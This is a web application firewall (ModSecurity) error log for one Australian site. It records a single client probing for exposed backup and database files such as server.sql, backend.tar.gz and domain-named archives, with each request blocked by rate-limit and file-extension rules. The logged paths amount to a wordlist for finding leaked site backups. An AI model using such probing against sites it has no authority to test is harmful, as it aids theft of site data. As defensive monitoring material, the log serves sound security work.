[Fri May 15 10:06:31.702074 2026] [:error] [pid 51234:tid 51254] [client 34.97.8.90:59030] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backend.tar.gz"] [unique_id "agZ_p972N9CbeiqcqgPW9wAAAVI"]
[Fri May 15 10:06:32.395643 2026] [:error] [pid 1189:tid 1244] [client 34.97.8.90:59040] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backend.tgz"] [unique_id "agZ_qAe36qIGegR4kcmCzAAAAFM"]
[Fri May 15 10:06:33.057217 2026] [:error] [pid 1295:tid 1303] [client 34.97.8.90:59056] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backend.tar"] [unique_id "agZ_qdmMhqLvs0GYixkdMQAAAMU"]
[Fri May 15 10:06:33.767053 2026] [:error] [pid 1189:tid 1240] [client 34.97.8.90:59066] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backend.tar.bz2"] [unique_id "agZ_qQe36qIGegR4kcmCzQAAAE8"]
[Fri May 15 10:06:40.067492 2026] [:error] [pid 1295:tid 1305] [client 34.97.8.90:56404] [client 34.97.8.90] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.agraphics.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.agraphics.com.au"] [uri "/backend.sql"] [unique_id "agZ_sNmMhqLvs0GYixkdNQAAAMc"]
[Fri May 15 10:06:42.757385 2026] [:error] [pid 50531:tid 50540] [client 34.97.8.90:56428] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/server.tar"] [unique_id "agZ_sh3WbFwE6voqGzrlKwAAAQc"]
[Fri May 15 10:06:43.436671 2026] [:error] [pid 1189:tid 1248] [client 34.97.8.90:56444] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/server.tar.bz2"] [unique_id "agZ_swe36qIGegR4kcmC2QAAAFc"]
[Fri May 15 10:06:44.184126 2026] [:error] [pid 1189:tid 1245] [client 34.97.8.90:56460] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/server.tar.xz"] [unique_id "agZ_tAe36qIGegR4kcmC2gAAAFQ"]
[Fri May 15 10:06:44.882312 2026] [:error] [pid 1189:tid 1226] [client 34.97.8.90:39634] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/server.7z"] [unique_id "agZ_tAe36qIGegR4kcmC2wAAAEE"]
[Fri May 15 10:06:45.626223 2026] [:error] [pid 1189:tid 1249] [client 34.97.8.90:39638] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/server.rar"] [unique_id "agZ_tQe36qIGegR4kcmC3AAAAFg"]
[Fri May 15 10:06:46.382325 2026] [:error] [pid 51234:tid 51247] [client 34.97.8.90:39640] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/server.gz"] [unique_id "agZ_tt72N9CbeiqcqgPW_QAAAUs"]
[Fri May 15 10:06:47.062778 2026] [:error] [pid 1189:tid 1238] [client 34.97.8.90:39648] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/server.bz2"] [unique_id "agZ_twe36qIGegR4kcmC3QAAAE0"]
[Fri May 15 10:06:47.816569 2026] [:error] [pid 51234:tid 51246] [client 34.97.8.90:39656] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/server.zst"] [unique_id "agZ_t972N9CbeiqcqgPXAAAAAUo"]
[Fri May 15 10:06:48.471937 2026] [:error] [pid 51234:tid 51241] [client 34.97.8.90:39660] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/server.sql.gz"] [unique_id "agZ_uN72N9CbeiqcqgPXAQAAAUU"]
[Fri May 15 10:06:49.167510 2026] [:error] [pid 50531:tid 50535] [client 34.97.8.90:39670] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/server.sql.bz2"] [unique_id "agZ_uR3WbFwE6voqGzrlLAAAAQI"]
[Fri May 15 10:06:49.840152 2026] [:error] [pid 1189:tid 1230] [client 34.97.8.90:39676] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/server.sql"] [unique_id "agZ_uQe36qIGegR4kcmC4AAAAEU"]
[Fri May 15 10:06:50.506758 2026] [:error] [pid 1189:tid 1237] [client 34.97.8.90:39678] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/client.zip"] [unique_id "agZ_uge36qIGegR4kcmC4QAAAEw"]
[Fri May 15 10:06:51.167021 2026] [:error] [pid 1189:tid 1233] [client 34.97.8.90:39686] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/client.tar.gz"] [unique_id "agZ_uwe36qIGegR4kcmC5gAAAEg"]
[Fri May 15 10:06:51.839172 2026] [:error] [pid 51234:tid 51260] [client 34.97.8.90:39698] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/client.tgz"] [unique_id "agZ_u972N9CbeiqcqgPXIAAAAVg"]
[Fri May 15 10:06:52.491292 2026] [:error] [pid 51234:tid 51237] [client 34.97.8.90:39704] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/client.tar"] [unique_id "agZ_vN72N9CbeiqcqgPXIQAAAUE"]
[Fri May 15 10:06:53.188127 2026] [:error] [pid 1190:tid 1258] [client 34.97.8.90:39712] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/client.tar.bz2"] [unique_id "agZ_vdqiXrD7hne4gFbKMQAAAIY"]
[Fri May 15 10:06:53.933996 2026] [:error] [pid 1190:tid 1263] [client 34.97.8.90:39714] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/client.tar.xz"] [unique_id "agZ_vdqiXrD7hne4gFbKMgAAAIs"]
[Fri May 15 10:06:54.687480 2026] [:error] [pid 50531:tid 50552] [client 34.97.8.90:39718] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/client.7z"] [unique_id "agZ_vh3WbFwE6voqGzrlLwAAARM"]
[Fri May 15 10:06:55.437900 2026] [:error] [pid 1188:tid 1216] [client 34.97.8.90:58650] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/client.rar"] [unique_id "agZ_v9Y68iW8yuNkNzPxbwAAABM"]
[Fri May 15 10:06:56.198205 2026] [:error] [pid 50531:tid 50550] [client 34.97.8.90:58660] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/client.gz"] [unique_id "agZ_wB3WbFwE6voqGzrlMQAAARE"]
[Fri May 15 10:06:56.904404 2026] [:error] [pid 1188:tid 1212] [client 34.97.8.90:58676] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/client.bz2"] [unique_id "agZ_wNY68iW8yuNkNzPxcAAAAA8"]
[Fri May 15 10:06:57.663778 2026] [:error] [pid 1189:tid 1249] [client 34.97.8.90:58686] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/client.zst"] [unique_id "agZ_wQe36qIGegR4kcmC7wAAAFg"]
[Fri May 15 10:06:58.367502 2026] [:error] [pid 1190:tid 1271] [client 34.97.8.90:58698] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/client.sql.gz"] [unique_id "agZ_wtqiXrD7hne4gFbKNgAAAJM"]
[Fri May 15 10:06:59.050515 2026] [:error] [pid 1189:tid 1232] [client 34.97.8.90:58712] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/client.sql.bz2"] [unique_id "agZ_wwe36qIGegR4kcmC8AAAAEc"]
[Fri May 15 10:06:59.790473 2026] [:error] [pid 1189:tid 1231] [client 34.97.8.90:58728] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/client.sql"] [unique_id "agZ_wwe36qIGegR4kcmC8QAAAEY"]
[Fri May 15 10:07:00.492851 2026] [:error] [pid 1190:tid 1253] [client 34.97.8.90:58736] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/agraphics.com.au.zip"] [unique_id "agZ_xNqiXrD7hne4gFbKNwAAAIE"]
[Fri May 15 10:07:01.196898 2026] [:error] [pid 1190:tid 1260] [client 34.97.8.90:58746] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/agraphics.com.au.tar.gz"] [unique_id "agZ_xdqiXrD7hne4gFbKOAAAAIg"]
[Fri May 15 10:07:01.879314 2026] [:error] [pid 51234:tid 51240] [client 34.97.8.90:58758] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/agraphics.com.au.tgz"] [unique_id "agZ_xd72N9CbeiqcqgPXJAAAAUQ"]
[Fri May 15 10:07:02.577197 2026] [:error] [pid 51234:tid 51258] [client 34.97.8.90:58764] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/agraphics.com.au.tar"] [unique_id "agZ_xt72N9CbeiqcqgPXJQAAAVY"]
[Fri May 15 10:07:03.280546 2026] [:error] [pid 51234:tid 51259] [client 34.97.8.90:58778] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/agraphics.com.au.tar.bz2"] [unique_id "agZ_x972N9CbeiqcqgPXJgAAAVc"]
[Fri May 15 10:07:03.977680 2026] [:error] [pid 1189:tid 1230] [client 34.97.8.90:58780] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/agraphics.com.au.tar.xz"] [unique_id "agZ_xwe36qIGegR4kcmC8gAAAEU"]
[Fri May 15 10:07:04.643358 2026] [:error] [pid 51234:tid 51236] [client 34.97.8.90:58786] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/agraphics.com.au.7z"] [unique_id "agZ_yN72N9CbeiqcqgPXKAAAAUA"]
[Fri May 15 10:07:05.393040 2026] [:error] [pid 51234:tid 51246] [client 34.97.8.90:48930] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/agraphics.com.au.rar"] [unique_id "agZ_yd72N9CbeiqcqgPXKQAAAUo"]
[Fri May 15 10:07:06.043299 2026] [:error] [pid 1190:tid 1261] [client 34.97.8.90:48942] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/agraphics.com.au.gz"] [unique_id "agZ_ytqiXrD7hne4gFbKOQAAAIk"]
[Fri May 15 10:07:06.630061 2026] [:error] [pid 51234:tid 51241] [client 34.97.8.90:48944] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/agraphics.com.au.bz2"] [unique_id "agZ_yt72N9CbeiqcqgPXLAAAAUU"]
[Fri May 15 10:07:07.245448 2026] [:error] [pid 1189:tid 1234] [client 34.97.8.90:48958] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/agraphics.com.au.zst"] [unique_id "agZ_ywe36qIGegR4kcmC9QAAAEk"]
[Fri May 15 10:07:07.910233 2026] [:error] [pid 1188:tid 1200] [client 34.97.8.90:48972] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/agraphics.com.au.sql.gz"] [unique_id "agZ_y9Y68iW8yuNkNzPxdQAAAAM"]
[Fri May 15 10:07:08.513123 2026] [:error] [pid 1295:tid 1304] [client 34.97.8.90:48982] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/agraphics.com.au.sql.bz2"] [unique_id "agZ_zNmMhqLvs0GYixkdPAAAAMY"]
[Fri May 15 10:07:09.167712 2026] [:error] [pid 1189:tid 1239] [client 34.97.8.90:48998] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/agraphics.com.au.sql"] [unique_id "agZ_zQe36qIGegR4kcmC9wAAAE4"]
[Fri May 15 10:07:09.849968 2026] [:error] [pid 1188:tid 1203] [client 34.97.8.90:49000] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/com.au.zip"] [unique_id "agZ_zdY68iW8yuNkNzPxdgAAAAY"]
[Fri May 15 10:07:10.514770 2026] [:error] [pid 1190:tid 1267] [client 34.97.8.90:49016] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/com.au.tar.gz"] [unique_id "agZ_ztqiXrD7hne4gFbKOgAAAI8"]
[Fri May 15 10:07:11.112211 2026] [:error] [pid 50531:tid 50545] [client 34.97.8.90:49026] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/com.au.tgz"] [unique_id "agZ_zx3WbFwE6voqGzrlPAAAAQw"]
[Fri May 15 10:07:11.625925 2026] [:error] [pid 1188:tid 1211] [client 34.97.8.90:49030] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/com.au.tar"] [unique_id "agZ_z9Y68iW8yuNkNzPxeAAAAA4"]
[Fri May 15 10:07:12.390003 2026] [:error] [pid 1189:tid 1243] [client 34.97.8.90:49034] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/com.au.tar.bz2"] [unique_id "agZ_0Ae36qIGegR4kcmC_QAAAFI"]
[Fri May 15 10:07:12.751475 2026] [:error] [pid 51234:tid 51248] [client 34.97.8.90:49036] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/com.au.tar.xz"] [unique_id "agZ_0N72N9CbeiqcqgPXMAAAAUw"]
[Fri May 15 10:07:13.136950 2026] [:error] [pid 51234:tid 51240] [client 34.97.8.90:49038] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/com.au.7z"] [unique_id "agZ_0d72N9CbeiqcqgPXNAAAAUQ"]
[Fri May 15 10:07:13.503843 2026] [:error] [pid 1188:tid 1204] [client 34.97.8.90:49048] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/com.au.rar"] [unique_id "agZ_0dY68iW8yuNkNzPxeQAAAAc"]
[Fri May 15 10:07:13.859855 2026] [:error] [pid 1295:tid 1309] [client 34.97.8.90:49060] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/com.au.gz"] [unique_id "agZ_0dmMhqLvs0GYixkdQAAAAMs"]
[Fri May 15 10:07:14.220151 2026] [:error] [pid 1295:tid 1298] [client 34.97.8.90:49070] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/com.au.bz2"] [unique_id "agZ_0tmMhqLvs0GYixkdQQAAAMA"]
[Fri May 15 10:07:14.558443 2026] [:error] [pid 1295:tid 1301] [client 34.97.8.90:49076] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/com.au.zst"] [unique_id "agZ_0tmMhqLvs0GYixkdQwAAAMM"]
[Fri May 15 10:07:14.873139 2026] [:error] [pid 1189:tid 1231] [client 34.97.8.90:39750] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/com.au.sql.gz"] [unique_id "agZ_0ge36qIGegR4kcmDCQAAAEY"]
